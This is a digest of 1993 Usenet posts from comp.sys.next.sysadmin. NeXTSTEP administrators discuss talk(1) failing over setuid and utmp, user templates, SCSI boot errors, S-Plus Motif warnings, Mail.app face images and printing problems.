> In article <1993Mar25.174425.17860@ens.fr> dicosmo@dmi.ens.fr
(Roberto
> DiCosmo) writes:
> > Sorry to bug you people with this annoying problem.
> > We have several NeXT here, and on some of them when you try
> > to talk to somebody you just get:
> >
> > You don't exist. Go away.
>
> I had this problem when I used steward instead of terminal, I
believe that
> the cause is that stuart doesn't use ttys while terminal does.
>
> -Rick Francis
> rickf@leland.stanford.edu
Stuart does *not* have this problem if correctly installed (slog and
all). Terminal does have this problem if *incorrectly* installed --
it needs to be run setuid:
> ls -l /NextApps/Terminal.app/Terminal
-rwsr-xr-x 1 root 196608 Jul 24 1992
/NextApps/Terminal.app/Terminal*
--
Magnus Nordborg
Department of Biological Sciences
Stanford University
magnus@fisher.stanford.edu (NeXT mail preferred)
Newsgroups: comp.sys.next.sysadmin
From: Michael_Pizolato@afs.com
Subject: New user mail
Message-ID: <1993Mar25.220725.2246@afs.com>
Sender: Michael_Pizolato@afs.com
Date: Thu, 25 Mar 1993 22:07:25 GMT
Where does the mail that a new user receives come from? If possible,
I'd like to add to it so it includes some site-specific information
that our new users should know.
AAAAANNND...
maybe add my own voice message to complement that wonderfully
performed message from Steve. ;-)
Thanx,
Michael
--
Michael_Pizolato@afs.com
~18 kyu
Q16
NeXTMail appreciated
Newsgroups: comp.sys.next.sysadmin
From: Aaron Herskowitz
Subject: Re: You don't exist. Go away
Message-ID: <1993Mar26.042424.8651@pellns.alleg.edu>
Sender: news@pellns.alleg.edu
Organization: Allegheny College
References: <1993Mar25.231801.11275@leland.Stanford.EDU>
Date: Fri, 26 Mar 1993 04:24:24 GMT
> In article <1993Mar25.174425.17860@ens.fr> dicosmo@dmi.ens.fr
> (Roberto Di Cosmo) writes:
> Sorry to bug you people with this annoying problem.
> We have several NeXT here, and on some of them when you try
> to talk to somebody you just get:
>
> You don't exist. Go away.
The Stuart manual addresses this problem. In Stuart look under "Info" -
"Manual" - "Trouble Shooting" - "Talk isn't working"
Aaron
aherskow@alleg.edu
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach)
Newsgroups: comp.sys.next.sysadmin
Subject: how to set user quotas?
Message-ID: <ti6ls.733068722@tuhhco>
Date: 25 Mar 93 14:12:02 GMT
Sender: usenet@rztsun.rz.tu-harburg.de
Any suggestions?
Regards
Ludger.
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: You don't exist. Go away
Date: 25 Mar 1993 23:24:42 GMT
Organization: Los Alamos National Laboratory, NM
Message-ID: <1otevq$i9e@umd5.umd.edu>
References: <1993Mar25.174425.17860@ens.fr> <1993Mar25.203409.7048@leland.Stanford.EDU>
In article <1993Mar25.203409.7048@leland.Stanford.EDU> rick@indeed.stanford.edu (Rick Stanley Francis) writes:
>I had this problem when I used steward instead of terminal, I believe that
>the cause is that stuart doesn't use ttys while terminal does.
[The question is, is that one post I haven't read yet by Scott Hess?]
Stuart does too use ttys; it works with Unix and all.
The problem is whatever program he was using (Stuart, Terminal, xterm...)
could not update /etc/utmp. Put another way, it wasn't setuid.
>-Rick Francis
>rickf@leland.stanford.edu
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
It seems like the less a statesman amounts to, the more he loves the
flag.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: tabs@netcom.com (Network Account)
Subject: HELP - Booting 3.0 from a Fujitsu M2624F
Message-ID: <tabsC4HF80.HKB@netcom.com>
Followup-To: comp.sys.next.sysadmin
Summary: SCSI Error - Cannot boot from Fujitsu M2624 NS3.0
Keywords: SCSI error, upgrade, Fujitsu
Sender: tabs@netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Fri, 26 Mar 1993 05:57:36 GMT
Hi,
We recently purchased a Fujistsu M2624F, 520 Mb external SCSI hard drive.
We initially formatted it for 102k block size using formatter_1.2
It boots fine when built for NS2.1 but refuses to boot under NS3.0
The system refuses to boot with the message
SCSI: unexpected msg: 1
sc: Unexpected msg
I checked the old archives, and the document fujitsu.recipe.
Is this problem caused by improper jumper settings on the fujitsu disk?
I am not sure of the jumber settings to avoid synchronous transfer
for the M2624.
Has anyone had a similar problem before? Any help is appreciated.
tabs (tabs@netcom.com)
From: kheit@gandalf.rutgers.edu (John Kheit)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Making a 2.1 HD?
Message-ID: <Mar.26.01.06.02.1993.5817@gandalf.rutgers.edu>
Date: 26 Mar 93 06:06:03 GMT
Followup-To: comp.sys.next.software
Organization: Rutgers Univ., New Brunswick, N.J.
This is real easy to do with 3.0 but I dont know how to do it with 2.1?
I want to build a 2.1 user disk (not the extended). I have 2.1 on OD and wish to make the 105meg User version of NS onto an HD. Can this be done from an extended 2.1 OD? Thanks for any help.
Later, John
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: You don't exist. Go away
Date: 25 Mar 1993 22:36:11 -0000
Organization: me organized? That's a joke!
Message-ID: <1otc4r$14e@steffi.demon.co.uk>
References: <1993Mar25.174425.17860@ens.fr> <1993Mar25.203409.7048@leland.Stanford.EDU>
its actually because you have incorrectly installed Stuart for those
features. See the Stuart help in 2.4 for information on how to fix
this. See trouble shooting.
Hi Scott!!
~
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From: zcardon@biosphere.Stanford.EDU (Zoe Cardon)
Subject: S-Plus and co-Xist
Message-ID: <1993Mar26.080408.22257@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Fri, 26 Mar 93 08:04:08 GMT
We have just installed S-Plus on our NeXTs, but we are getting odd warning
messages when running it under co-Xist. I have run S-Plus both in Motif
windows (with the NeXTSTEP Window Manager not selected in the Preferences
"rootless" options window) and in NeXTSTEP windows. In either case, when
in S-Plus, if I type
help.start(gui="motif")
I get a huge list of warning messages, but eventually the help window does
come up and is usable (it seems). A sample of the first few warning
messages is included below:
> help.start(gui="motif")
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing '<Key>osfActivate:
ManagerGadgetSelect() '
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing ' <Key>osfSelect:
ManagerGadgetSelect() '
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp:
ManagerGadgetHelp() '
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing '<Key>osfBeginLine:
ManagerGadgetTraverseHome()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' <Key>osfUp:
ManagerGadgetTraverseUp()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' <Key>osfDown:
ManagerGadgetTraverseDown()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
We already had installed the Motif window manager in co-Xist, but after
having these troubles inside S-Plus, we also tried (after communicating
with S-Plus support people) using the optional ./SETUP script supplied by
S-Plus to enable Motif window use.
Among other things, this script alters /usr/lib/X11/XKeysymDB. I have
compared the CoXist version with the SPlus version, however, and the
latter is a subset of the former.
Do you have ideas as to what is wrong?
Thank you
Zoe G. Cardon
Department of Biological Sciences
Stanford University
zcardon@biosphere.stanford.edu (NeXT mail preferred)
+1 (415) 325-1521 x364
Newsgroups: comp.sys.next.sysadmin
Subject: Re: You don't exist. Go away
Message-ID: <SCOTT.93Mar26023227@nic.gac.edu>
From: scott@nic.gac.edu (Scott Hess)
Date: 26 Mar 93 02:32:27
References: <1993Mar25.174425.17860@ens.fr> <1993Mar25.203409.7048@leland.Stanford.EDU>
Distribution: world
Organization: Is a sign of weakness
In-reply-to: rick@indeed.stanford.edu's message of Thu, 25 Mar 93 20:34:09 GMT
In article <1993Mar25.203409.7048@leland.Stanford.EDU>,
rick@indeed.stanford.edu (Rick Stanley Francis) writes:
>In article <1993Mar25.174425.17860@ens.fr>,
> dicosmo@dmi.ens.fr (Roberto DiCosmo) writes:
>> Sorry to bug you people with this annoying problem.
>> We have several NeXT here, and on some of them when you try
>> to talk to somebody you just get:
>>
>> You don't exist. Go away.
>
>I had this problem when I used steward instead of terminal, I believe
>that the cause is that stuart doesn't use ttys while terminal does.
No! No, no, no, noooo! [Sorry to sound annoyed, but this is one
of the most frequent Stuart complaints, so frequent that I added an
online manual section, "Trouble Shooting/talk Isn't Working", which
explains the problem and how to fix it. The annoyance comes from
the fact that this hasn't fixed the complaints, because most people
apparently don't read the manual :-)]
Stuart gets that problem because Stuart requires extra installation
(I mean, installation beyond drag&drop). Terminal doesn't need to
do this - because NeXT does it for you, at the factory. I don't
have that option :-). The problem is that talk(1) requires that
you have an /etc/utmp entry for your pty, and /etc/utmp is a file
that isn't accessable to Joe User. Thus, if Joe User installs
Stuart, talk(1) won't work.
In Stuart's case, install the slog program per the documentation.
If you are getting this problem from within Terminal, something
deeper is at fault. If you execute "ls -l /NextApps/Terminal" (use
/NextApps/Terminal.app/Terminal under NS3.0), you should get output
like:
-rwsr-xr-x 1 root wheel 155648 Oct 30 1990 /NextApps/Terminal*
^ ^^^^
If your output differs in the careted positions, then you have a
problem. Somehow Terminal lost it's setuid priviledges. To fix
it, as root do:
chmod 4755 /NextApps/Terminal ; chown root.wheel /NextApps/Terminal
More than likely there is a reason for this problem, though, so first
figure out _why_ it's changed. Perhaps your sysadmin ran COPS and was
advised to remove the setuid priviledges. In any case, there _are_
valid reasons why you might want to remove setuid privs (which is why
I include source to slog, the setuid module Stuart needs to boink
utmp).
Later,
--
scott hess <shess@ssesco.com> <To the BatCube, Robin>
12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.sysadmin
From: aboba@netcom.com (Bernard Aboba)
Subject: PPP under NeXT v3.0
Message-ID: <netnewsC4HoGy.57H@netcom.com>
Keywords: PPP, NeXT
Sender: netnews@netcom.com (USENET Administration)
Organization: Netcom - Online Communication Services (408 241-9760 guest)
Date: Fri, 26 Mar 1993 09:17:20 GMT
Just wanted to thank many of you, (especially Mark Fausett) who helped me
get PPP v.2 up under NeXT v3.0. I am running it as I am posting this. The
problem was that while PPP v.2 won't compile under NeXT v3.0, executables
compiled under v2.1 will run fine under 3.0. So with the executables
provided to me by Mark, things are working just fine.
So I think the thing to do is to create another archive for NeXT_PPP with
the executables included, and a note informing people about the problem.
NeXT PPP v.2 seems to perform quite well, so it would be a shame if it
went to waste...
Newsgroups: comp.sys.next.sysadmin
From: designimage!root (Operator)
Subject: user tiffs under Mail.app
Message-ID: <1993Mar26.072654.354@designimage.megalith.miami.fl.us>
Sender: root@designimage.megalith.miami.fl.us (Operator)
Organization: design image
Date: Fri, 26 Mar 1993 07:26:54 GMT
Hello out there!
I am trying to set up the tiffs of remote people so that when I receive
mail from them I can see their image in Mail's panel.
I know that for local users I have to name the tiffs as "user.tiff"(ie, so
that my tiff is dino.tiff). What about a person by the name of
stimpy@foo.com?
I've tried naming their tiff as:
o stimpy.tiff
o stimpy@foo.com.tiff
Neither one has worked. Can this be done at all?
Thanks in advance for any help you may provide,
Dino Bagdadi
design image
NeXT email welcome: dino@designimage.megalith.miami.fl.us
Newsgroups: comp.sys.next.sysadmin
From: designimage!root (Operator)
Subject: setting up an index for Digital Librarian
Message-ID: <1993Mar26.073127.465@designimage.megalith.miami.fl.us>
Sender: root@designimage.megalith.miami.fl.us (Operator)
Organization: design image
Date: Fri, 26 Mar 1993 07:31:27 GMT
Hello out there!
I am trying to rebuild the index to my UNIX man pages (since I mistakenly
deleted the one that came with 3.0). To my surprise, when I set up the
index again, it only gave me the chapter number and command name as the
title for each entry.
I want to have each entry the way it was before:
command name- description of command
Can anyone tell me what the command line for this might be under NS 3.0? I
noticed that it has changed from NS 2.1 to 3.0.
Thank you for any help you may provide me with,
Dino Bagdadi
design image
NeXT email welcome: dino@designimage.megalith.miami.fl.us
From: penney@cl-next4.cl.msu.edu (Chris Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: Code for login
Date: 26 Mar 1993 13:17:08 GMT
Organization: Michigan State University
Message-ID: <1ouvok$g14@msuinfo.cl.msu.edu>
Is the source code for "login" out there somewhere, or would modifying it
be illegal. Respond via e-mail (preferred) or news.
Thanks,
Chris Penney
penney@cl-next4.cl.msu.edu
From: steve@estel.uindy.edu (Steve Spicklemire)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS mounting a PC running SOSS
Date: 26 Mar 1993 13:22:31 GMT
Organization: Truevision Inc., Indianapolis, IN
Distribution: world
Message-ID: <1ov02nINN7jf@epic.truevision.com>
Keywords: SOSS, NFS
Hi,
Has anybody out there had much luck mounting a PC running SOSS from a
NeXT? I can mount it using 'mount', but when I try double clicking on a
file in the browser I get read errors of some kind (no file is ever
opened). Is there something I'm missing? Does anyone have this working?
(BTW I can seem to mount from an HP machine, and an SCO machine, so I
*think* the SOSS end is pretty much sane.)
thanks!
-steve
--------------------------< cut here >----------------------------
Steve Spicklemire (317) 788-3313 steve@estel.uindy.edu
Dept of Mathematics and Physics NeXTmail Welcome!
1400 East Hanna Avenue, 46227
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From: jwdb@dutnak2.tudelft.nl (Jan-Willem de Bruijn)
Subject: How to make "lpr -d file.dvi" work
Message-ID: <jwdb.733149386@dutnak2>
Summary: lpr -d doesn't work even if TeX and dvips are installed
Keywords: print tex dvi lpr filter
Sender: news@dutrun2.tudelft.nl (UseNet News System)
Organization: Delft University of Technology
Date: Fri, 26 Mar 1993 12:36:26 GMT
If I look in the man page for lpr(1), it mentions an option -d that allows
one to print dvi files (as produced by tex). However, the command
lpr -d file.dvi does absolutely nothing, not even produce an error message.
I have TeX installed, and thus also dvips (in /usr/local/bin).
I cannot quickly find out where to customize the various lpr/lpd scripts.
Can someone point me to the right procedure to make this work?
Thanks in advance for taking the trouble to answer,
Jan-Willem
--
Jan-Willem de Bruijn jwdb@dutnak2.tn.tudelft.nl
Lab. of Seismics and Acoustics NeXT-mail: jwdb@delphi.tn.tudelft.nl
Dep. of Applied Physics Discipline is never an end in itself,
Delft University of Technology only a means to an end.
From: graessle@uthep6.ph.utexas.edu (Scott Graessle)
Newsgroups: comp.sys.next.sysadmin
Subject: Printing NeXTSTEP to remote Apple Laserwriter IIg
Message-ID: <87201@ut-emx.uucp>
Date: 26 Mar 93 14:52:51 GMT
Sender: news@ut-emx.uucp
We have recently been having problems with our Release-3.0 NeXTs
trying to print to an Apple LaserWriter IIg attached to the serial
port of a DecStation:
(1) ``lpr ascii-file'' from the NeXT works fine;
(2) sending a multi-page file of NeXT Display PostScript (via the
``Print...'' menu option) wedges on the 5th page or so. Even a 6-page
print of a Terminal session will wedge the printer after page 4 or so.
After I abort the decstation's lp daemon the message
/usr/lib/lpd: lplw: Output filter to dev malfunctioned (0)
is appended to the error log file /usr/adm/lp1err on the decstation.
It does not seem to matter whether the printer type (ty entry) on the
NeXTs is set to ``Apple LaserWriter IIg'' or ``PostScript'' or
whether the printer options are checked in the Print... panel.
--
Scott Graessle graessle@utaphy.ph.utexas.edu
High Energy Physics
RLM 5.208
The University of Texas at Austin
Austin, TX 78712
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From: dicosmo@dmi.ens.fr (Roberto DiCosmo)
Subject: Re: You don't exist. Go away and AppleTalk
Message-ID: <1993Mar26.181008.2333@ens.fr>
Sender: news@ens.fr (USENET News System)
Organization: Ecole Normale Superieure, PARIS, France
References: <SCOTT.93Mar26023227@nic.gac.edu>
Date: Fri, 26 Mar 93 18:10:08 GMT
There is clearly no reason to summarize the answers, as the last post
by Scott Hess is a little jewel in clarity, but let me just thank all
of the people for the help.
Next time I'll try to look more carefully at the manual before asking
for help, but I would really like to suggest to put en entry on this
in the FAQ, that is the first file I look at when I have a problem.
By the way, I think there is also another thing that ought to go in the FAQ
is related to AppleTalk. How many persons know that you cannot disconnect
from a Macintosh (or other apple server) if its name contains blanks?
This, I am sure, is not in the manual! To fix it, just replace the blanks
with underscores :-)
--
Roberto Di Cosmo <dicosmo@dmi.ens.fr>
LIENS
Ecole Normale Superieure
45, Rue d'Ulm
75005 Paris FRANCE
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From: jpowell@borg.lib.vt.edu (James Powell)
Subject: data loss during telnet
Message-ID: <1993Mar26.194056.8618@ecsvax.uncecs.edu>
Sender: usenet@ecsvax.uncecs.edu (News Administrator)
Organization: UNC Educational Computing Service
Date: Fri, 26 Mar 1993 19:40:56 GMT
I have a couple of users who login to my NeXT from a PC connected to the
campus CBX (IBM phone/data system) at 9600 baud, using kermit. They
connect to a terminal server which allows them to enter my internet name
and connect to my machine. These users then telnet out to other sites.
They interact with the remote system with no problem until they request
data to be displayed locally, such as catting a file. Portions of the
data are lost. Is there anything I can do?
--
James Powell >>> Library Automation, University Libraries, VPI&SU
>>> JPOWELL@VTVM1.CC.VT.EDU
>>> jpowell@borg.lib.vt.edu - NeXTMail welcome here
>>> Owner of VPIEJ-L, a discussion list for Electronic
>>> Journals
From: shuque@microsupport.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: user tiffs under Mail.app
Message-ID: <116135@netnews.upenn.edu>
Date: 26 Mar 93 18:40:15 GMT
References: <1993Mar26.072654.354@designimage.megalith.miami.fl.us>
Sender: news@netnews.upenn.edu
Organization: University of Pennsylvania
In article <1993Mar26.072654.354@designimage.megalith.miami.fl.us> writes:
>Hello out there!
>
>I am trying to set up the tiffs of remote people so that when I receive
>mail from them I can see their image in Mail's panel.
>
>I know that for local users I have to name the tiffs as "user.tiff"(ie, so
>that my tiff is dino.tiff). What about a person by the name of
>stimpy@foo.com?
>
>I've tried naming their tiff as:
>
>o stimpy.tiff
>o stimpy@foo.com.tiff
>
>Neither one has worked. Can this be done at all?
>
>Thanks in advance for any help you may provide,
In order to make this work, you have to add a password entry for
stimpy@foo.com in /LocalLibrary/Images/People/passwd
Something like the following works:
stimpy@foo.com::10000::.:noshell
On a related note, I cannot get addresses with funny characters (specifically
the underbar) in them to work. The most common is an address like those that
come from NeXT, having the form:
First_Last@next.com
It seems, that if I follow the above procedure and have the corresponding
tiff file, the mail picture does not show up. Can anyone confirm this?
--Shumon.
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: NS2.1: Emacs and Gcc Wanted
Message-ID: <1993Mar26.142704.4247@mic.ucla.edu>
Organization: UCLA, Anderson Graduate School Of Management
Date: 26 Mar 93 14:27:03 PST
Could some kind soul please allow me to ftp the old *binary* version of
NS 2.1 emacs and NS 2.1 gcc, please? I had to take a short step
backwards, and my NS 3.0 emacs fails because it requires a 3.0
library.
Help would be highly appreciated.
/ivo welch
Newsgroups: comp.sys.next.sysadmin
From: aoki@madonna (Ken-ichiro Aoki)
Subject: NetInfoManager, Printer and NS3.0
Message-ID: <1993Mar26.160256.5376@mic.ucla.edu>
Keywords: Netinfo, Local_printer, NS3.0
Date: 26 Mar 93 16:02:55 PST
Fellow NeXTers,
I have a question about NetInfo in NS3.0; When you use the NIManager,
it seems that any user (who can run NIManager) can change
the properties+values in the local printer directory.
When you try to save, it does not anthenticate and just saves it.
Is this a bug? Or did we just screw up and set up something wrong?
We can certainly make NIManager 750 or 700 (together with all
the /usr/bin/ni*) but I'd rather not do this unless it's necessary.
Maybe I should'nt have posted since it could be a security hazard,
but as far as I know, not a real disastrous one.
(that is, doesn't apply to other folders like mounts!)
Email gladly accepted; will summarize if there is enough interest.
Sorry about the header being a bit screwed up.
--
___Kenichiro Aoki (aoki@physics.ucla.edu) Physics Dept,UCLA,Ca,USA.
(Please note that the From: field might be screwed up if you are replying.)
From: lebay@mercury.cl.msu.edu (Jim LeBay)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: New user mail
Date: 27 Mar 1993 02:49:55 GMT
Organization: Michigan State University
Message-ID: <1p0fcj$s1d@msuinfo.cl.msu.edu>
References: <1993Mar25.220725.2246@afs.com>
Michael_Pizolato@afs.com writes
> Where does the mail that a new user receives come from? If possible,
> I'd like to add to it so it includes some site-specific information
> that our new users should know.
New account home directories are copies of /usr/template/user. So you
could customize the Preferences, or .cshrc, or Mailboxes/Active.mbox.
-----
Jim LeBay (517) 353-1800 353-5364 (FAX)
Computer Information Center lebay@msu.edu lebay@msu.bitnet
Michigan State University lebay@mercury.cl.msu.edu (NeXTmail)
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From: lebay@mercury.cl.msu.edu (Jim LeBay)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SoftPC/Serial Port Question
Date: 27 Mar 1993 02:55:22 GMT
Organization: Michigan State University
Message-ID: <1p0fmq$m1b@msuinfo.cl.msu.edu>
References: <1993Mar22.192844.4090@Princeton.EDU>
Gerard Philippe Menos writes
> We installed a PC-based asynchronous communications program in the
> SoftPC environment, and used it successfully for a couple of days.
> However, it has stopped working on the comm port we'd originally
> selected and configured. SoftPC generates the following message (and
> no longer allows us to use /dev/ttyb):
>
> "Device used by Comms adapter could not be accessed. Check
> permissions. Comz = /dev/ttyb"
>
> What does this message really mean?
>
> As far as I can tell, the permissions seem fine (at least, they are no
> different than the permissions on /dev/ttya, which we are now using
> for the serial port). Even though we've got things working on the
> second serial port, we would like to know why the first port is not
> available and make it available for another application.
>
> Any help appreciated,
> Phil
> --
> G. Philippe Menos
> gpmenos@firestone.princeton.edu [NeXTmail OK.]
> Systems Administrator, Princeton University Libraries
> voice: 609-258-5183 fax: 609-258-5571
Have you tried rebooting? Sometimes the serial ports get hung until you
reboot.
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From: jfb@langoz.biomath.jussieu.fr (BOISVIEUX Jean-Francois)
Subject: Re: S-Plus and co-Xist
Message-ID: <1993Mar27.081923.24083@jussieu.fr>
Sender: news@jussieu.fr (Le Facteur)
Organization: Universite Paris VI/Paris VII
References: <1993Mar26.080408.22257@leland.Stanford.EDU>
Date: Sat, 27 Mar 1993 08:19:23 GMT
In article <1993Mar26.080408.22257@leland.Stanford.EDU>
zcardon@biosphere.Stanford.EDU (Zoe Cardon) writes:
> We have just installed S-Plus on our NeXTs, but we are getting odd
warning
> messages when running it under co-Xist. I have run S-Plus both in Motif
> windows (with the NeXTSTEP Window Manager not selected in the
Preferences
> "rootless" options window) and in NeXTSTEP windows. In either case,
when
> in S-Plus, if I type
>
> help.start(gui="motif")
>
> I get a huge list of warning messages, but eventually the help window
does
> come up and is usable (it seems). A sample of the first few warning
> messages is included below:
>
>
> > help.start(gui="motif")
> Warning: translation table syntax error: Unknown keysym name:
osfActivate
> Warning: ... found while parsing '<Key>osfActivate:
> ManagerGadgetSelect() '
> Warning: translation table syntax error: Unknown keysym name: osfSelect
> Warning: ... found while parsing ' <Key>osfSelect:
> ManagerGadgetSelect() '
> Warning: translation table syntax error: Unknown keysym name: osfHelp
> Warning: ... found while parsing ' <Key>osfHelp:
> ManagerGadgetHelp() '
> Warning: translation table syntax error: Unknown keysym name:
osfBeginLine
> Warning: ... found while parsing '<Key>osfBeginLine:
> ManagerGadgetTraverseHome()'
> Warning: translation table syntax error: Unknown keysym name: osfUp
> Warning: ... found while parsing ' <Key>osfUp:
> ManagerGadgetTraverseUp()'
> Warning: translation table syntax error: Unknown keysym name: osfDown
> Warning: ... found while parsing ' <Key>osfDown:
> ManagerGadgetTraverseDown()'
> Warning: translation table syntax error: Unknown keysym name: osfLeft
>
>
>
> We already had installed the Motif window manager in co-Xist, but after
> having these troubles inside S-Plus, we also tried (after communicating
> with S-Plus support people) using the optional ./SETUP script supplied
by
> S-Plus to enable Motif window use.
>
> Among other things, this script alters /usr/lib/X11/XKeysymDB. I have
> compared the CoXist version with the SPlus version, however, and the
> latter is a subset of the former.
>
> Do you have ideas as to what is wrong?
>
> Thank you
>
>
> Zoe G. Cardon
> Department of Biological Sciences
> Stanford University
> zcardon@biosphere.stanford.edu (NeXT mail preferred)
> +1 (415) 325-1521 x364
>
using CubX and Splus I have the same sort of warnings too in the same
conditions :
S-PLUS : Copyright (c) 1988, 1992 Statistical Sciences, Inc.
S : Copyright AT&T.
Version 3.0 Release 1 for NeXT : 1992
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing '<Key>osfActivate:
ManagerGadgetSelect() '
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing ' <Key>osfSelect:
ManagerGadgetSelect() '
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp:
ManagerGadgetHelp() '
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing '<Key>osfBeginLine:
ManagerGadgetTraverseHome()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' <Key>osfUp:
ManagerGadgetTraverseUp()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' <Key>osfDown:
ManagerGadgetTraverseDown()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' <Key>osfLeft:
ManagerGadgetTraverseLeft()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' <Key>osfRight:
ManagerGadgetTraverseRight()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing 'Ctrl <Key>osfBeginLine:
SWTopLine()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing ' <Key>osfBeginLine:
SWBeginLine()'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' Ctrl <Key>osfEndLine:
SWBottomLine()'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' <Key>osfEndLine:
SWEndLine()'
Warning: translation table syntax error: Unknown keysym name: osfPageUp
Warning: ... found while parsing ' Ctrl <Key>osfPageUp:
SWLeftPage()'
Warning: translation table syntax error: Unknown keysym name: osfPageDown
Warning: ... found while parsing ' Ctrl <Key>osfPageDown:
SWRightPage()'
Warning: translation table syntax error: Unknown keysym name: osfPageUp
Warning: ... found while parsing ' <Key>osfPageUp:
SWUpPage()'
Warning: translation table syntax error: Unknown keysym name: osfPageDown
Warning: ... found while parsing ' <Key>osfPageDown:
SWDownPage()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp:
ManagerGadgetHelp()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' <Key>osfUp:
ManagerGadgetTraverseUp()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' <Key>osfDown:
ManagerGadgetTraverseDown()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' <Key>osfLeft:
ManagerGadgetTraverseLeft()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' <Key>osfRight:
ManagerGadgetTraverseRight()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing '<Key>osfSelect:
ManagerGadgetSelect()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate:
ManagerGadgetSelect()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp: Help()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing ' <Key>osfCancel:
MenuGadgetEscape()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing '<Key>osfSelect:
ManagerGadgetSelect()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate:
ManagerGadgetSelect()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp: Help()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing '<Key>osfHelp: Help()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' <Key>osfLeft:
MenuGadgetTraverseLeft()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' <Key>osfRight:
MenuGadgetTraverseRight()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' <Key>osfUp:
MenuGadgetTraverseUp()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' <Key>osfDown:
MenuGadgetTraverseDown()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing '<Key>osfBeginLine:
PrimitiveTraverseHome()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp: PrimitiveHelp()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' <Key>osfUp:
PrimitiveTraverseUp()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' <Key>osfDown:
PrimitiveTraverseDown()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' <Key>osfLeft:
PrimitiveTraverseLeft()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' <Key>osfRight:
PrimitiveTraverseRight()'
Warning: translation table syntax error: Unknown keysym name:
osfQuickPaste
Warning: ... found while parsing 'Shift<Key>osfQuickPaste:
do-quick-action()'
Warning: translation table syntax error: Unknown keysym name:
osfQuickPaste
Warning: ... found while parsing ' Meta <Key>osfQuickPaste:
quick-cut-set()'
Warning: translation table syntax error: Unknown keysym name:
osfQuickPaste
Warning: ... found while parsing ' Alt <Key>osfQuickPaste:
quick-cut-set()'
Warning: translation table syntax error: Unknown keysym name:
osfQuickPaste
Warning: ... found while parsing ' <Key>osfQuickPaste:
quick-copy-set()'
Warning: translation table syntax error: Unknown keysym name:
osfPrimaryPaste
Warning: ... found while parsing ' Meta <Key>osfPrimaryPaste:
cut-primary()'
Warning: translation table syntax error: Unknown keysym name:
osfPrimaryPaste
Warning: ... found while parsing ' Alt <Key>osfPrimaryPaste:
cut-primary()'
